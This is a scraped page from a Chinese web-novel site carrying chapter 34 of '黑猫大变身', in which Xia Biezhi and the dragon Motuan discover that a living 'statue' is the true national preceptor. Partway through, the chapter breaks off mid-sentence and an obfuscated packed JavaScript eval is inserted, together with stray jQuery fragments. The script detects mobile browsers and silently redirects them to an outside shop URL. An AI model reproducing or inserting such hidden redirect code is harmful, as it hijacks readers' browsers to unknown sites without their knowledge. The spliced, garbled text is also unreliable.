文趣网 > 其他小说 > 黑猫大变身 > 34. 真正的国师
    地下,那应该就是在丹炉那里了。

    要下去吗?

    夏别枝不太想再去一趟,那些画面她当时可以冷静看完,但她现在一回忆就会觉得心里堵得慌,难受得要命。

    “那要不你去看看,入口就在后面的小屋,那里有道暗门。”

    墨团摇摇头,夏别枝当它不想去,也没打算勉强,墨团却说:“是在更深的地方,那道暗门不是入口。”

    “你怎么知道!”

    夏别枝本是半蹲着和墨团说话的,一下站了起来:“你昨天跟踪我吗?你怎么知道那道暗门能去什么地方,不能去什么地方。”

    墨团看着激动的夏别枝,表示很不理解:“跟着你,有什么不对吗?”

    跟着和跟踪的区别可太大了,跟踪一听就不怀好意,完全体现了跟踪一方主观的恶意。跟着就稍微有些不同,也许是好意,也许是恶意,主要取决于两个人之间的关系。

    夏别枝被墨团提醒之后也觉得自己的反应确实不对,蹲坐回去道歉:“没有,你是对的。”

    她拉了拉墨团的翅膀问:“那入口在什么地方?”

    墨团从夏别枝手里抽回翅膀,贴回自己的身体,黑色鳞片如玉石般的质感显出几分高贵优雅的气质,这种气质让人不由产生一种痴迷的幻觉,觉得这般美丽的生物一定也是全知全能的。

    然后它说:“我也不知道。”

    一下就打破了这个幻觉。

    夏别枝盘腿坐下,觉得很疑惑:“道人说国师在和一个道人双修,修长生,他为什么要长生?若是他只是要成神,然后离开这座皇城,我倒是可以理解,可在这孤岛里,长不长生又有什么意义?”

    “不知道,不想知道。”

    墨团抬起爪子,它那只很短的爪子居然能抬起来,剩下的三只爪子还能稳稳站着。它用爪子抓住夏别枝的手:“我们直接下去。”

    夏别枝光顾着看它的爪子,意识到它说了什么之后,眼前突然一片漆黑,她还在疑惑,她明明睁着眼睛啊,还是天黑了?

    一直等到眼睛重新恢复光明,她才意识到现在她已经到了地下,这里和悬空丹炉所在的房间很像,而她和墨团现在是在房间外的通道上,空气里散发着浓郁的檀香气。

    香味就是从里面的房间里飘出来的,夏别枝想明白之后就一直盯着大开的房门,她一边倾听里面的声音,心里控制不住地幻想白发道人或是陈姓妇人藏在门后正看着她。

    这个想象很莫名其妙,被偷窥确实会让人产生一种恐惧,尤其是在一个陌生封闭的环境里。把这种恐惧的幻想具象化成一个“东西”站在自己看不见的地方,随时会扑上来……这样想虽说是自己吓自己,但想得多了就习以为常了,在面对真正有可能发生的伤害时,心里就会平静许多。

    夏别枝一直都有类似的想象,就在她一个人和两个只翻来覆去说一句话的女使婆子待在同一个房间里的时候。

    她可以屏住呼吸,放轻脚步,在里面的人完全察觉不到的情况下走到门边,窥探里面的人在做什么。

    有一尊石像,石像前坐着一个人。

    还有一个人,那个人坐在石像上。那个姿势……让夏别枝想戳瞎自己的眼睛。

    首先石像是站着的,它的头隐藏在挂在柱子上的帘幕的阴影里,看不清。而那个人说是“坐”在上面,实则是用双腿呈剪刀状“盘”在上面,而那个人腿的位置,正好是石像的腰部。

    而且那人以这样的姿势,还要“坐”起来已经艰难到了诡异的程度,夏别枝看了很久,那人都没有倒翻过来,所以她也只能看到那人洁白的背部。

    只能看出,是个女子。

    另一个人就是白发道人,他也站着,和石像相对而立,夏别枝的角度能看到他的侧面,他手举在胸前,掐了个诀,口中念念有词。

    光看他,倒是有几分像是在修长生的模样,而那个女子和石像则完全和修行这两个字之间割裂开了一条巨大的鸿沟。

    夏别枝回头看也探出一个脑袋的墨团。它的脖子很长,头以下都是,所以这个姿势对它来说非常的自洽。

    她想问问墨团对石像的见解,但墨团却显得丝毫不意外,也看不出任何情绪,见她在看它,还把头搭在了她已经快要撑不住的肩膀上。

    她的肩膀都快要掉了!

    夏别枝只好把头收了回来,推开墨团的脑袋,用手指了指上面,示意墨团带她回去。

    可墨团却摆头,示意她再往里看看。

    两个人都不说话,只能用眼神交流,但墨团的眼睛实在是很难让人看出它在想什么,夏别枝只能按照最浅层的理解去做。

    她就再次探头往里看。

    看到的画面还是一样的,夏别枝正怀疑自己是不是猜错了,打算再好好分析一下墨团的意思,然后她的余光就瞟见,石像的腰在动。

    她往回看的动作瞬间卡住了。

    她突然想到青衣道人跟她说,没到场的一个道人和白发道人在双修。而白发道人和另一个人在这个房间里并没有什么肢体接触,甚至可以说是各干各的,没有任何交集。

    现在她才明白,双修的是谁和谁,谁才是真正的国师。

    难道墨团早就看穿了,所以才让她再看一次?

    石像才是国师,而白发道人才是“石像”,一个泥塑,一个替身。

    这也说得通,白发道人从来没有亲口承认过他就是国师,青衣道人也从未直接称呼他为国师,只是态度过于恭敬且无人否认,所以才会有这样的误会。

    这种感觉还挺奇怪的,在大罗殿她是先看见白发道人的塑像,再看见白发道人,虽然那是他们第二次见面。但之后她一直都把白发道人当成真人,甚至在某种程度上来说,她还觉得白发道人和她有几分相似,都是在一群假人里的真人。然后现在现实打了她一个耳光,让她幡然醒悟,原来她一直以为的真人才是假人。

    夏别枝呆立了很久,在她又想拉拉墨团,让它带自己回房间的时候,石像停了下来,挂在石像上的女子也掉到了地上。

    夏别枝便

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17777962|206029||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    打算再等等,看看有什么变化。

    那个女子掉在地上,慢慢爬了起来,肢体非常僵硬,关节处不像活人那样,每动一次都让夏别枝感觉牙酸。

    但她还是成功站起来了,夏别枝也看清了她的脸,正是昨晚从炼丹炉里出来的人,不过好像哪里发生了一点变化,但又一时想不出来究竟变在何处。

    女子下来之后,白发道人还是一直维持着那个姿势念念有词,几乎没有发出声音,所以即便石像和女子都没有发出声音,夏别枝也听不见白发道人在念什么。

    他是不是也和其他在石像前的人一样,在求些什么。

    但类似长生、权势富贵或是平安这种不切实际的要求,所有人都求,却也都知道求不来。所以这种粗糙且毫无道理的仪式,怎么可能是在修长生?说是某种控制人的手段以满足自己的欲望,倒是更合理些。

    到这里,夏别枝的目的也达到了。既然陈姓妇人出现在了这里,也就是说她已经是道人了,总不可能国师和道人指的是石像和白发道人吧……

    墨团像是猜到了夏别枝在想什么,身子突然往屋子里探出了一截,抬起爪子迈步作势要往里走,同时又回头盯着夏别枝,看她的反应。

    这个动作看起来很调皮,但其实墨团是在等夏别枝决定。不过夏别枝很“自私”地想着,就让墨团自己进去,她则假装没来过……

    但那明显不大可能,而且她一个人怎么回去呢?

    这是一个很要紧的问题,对夏别枝来说,但对墨团不是,他一点也不怕和白发道人、国师撕破脸,恨不得立刻重拳出击,把整座皇城都拆了。

    夏别枝蹲在门口苦思冥想,她本是想去那所谓的神山看看,若是今日就和国师撕破脸了,皇城也许也会和那座山一样,坍塌消失,然后她又在另一个塞满了更加邪恶的东西的地方醒来。

    虽然看过神山之后,结局或许并不会有任何变化,可当结局注定时,如果她还不在意过程,那她还能在意什么。

    于是夏别枝朝墨团摇摇头,是想让它先回来的,但她刚刚想得太入神了,不自觉贴在了墙壁上,一摇头,脑门和墙壁就撞在了一起,发出的声响成功引起了房间里的人的注意。

    四只眼睛同时看了过来。

    两只属于白发道人,另外两只是帘幕后的石像的,他从阴影里走了出来,果然长着一张和白发道人一样的脸。

    奇怪,夏别枝居然觉得石像就该长这样。

    这个场景实在是太过骇人了,即便夏别枝提前有准备,知道它只是看起来是石像,但真的亲眼看见它朝自己走来还是让她呆若木鸡,俨然成了另一座“石像”。

    白发道人站出来,挡在石像和墨团之间,夏别枝蹲在墨团身后,一个石像,一条龙和两个人站在一条直线上。

    很尴尬。

    尴尬到夏别枝刚刚心中生出的骇然都消失了。

    白发道人形容严厉:“我刚刚才告诉你,不许你离开房间,你就违背我的忠告,即便你是预备圣女,也要受到惩罚。”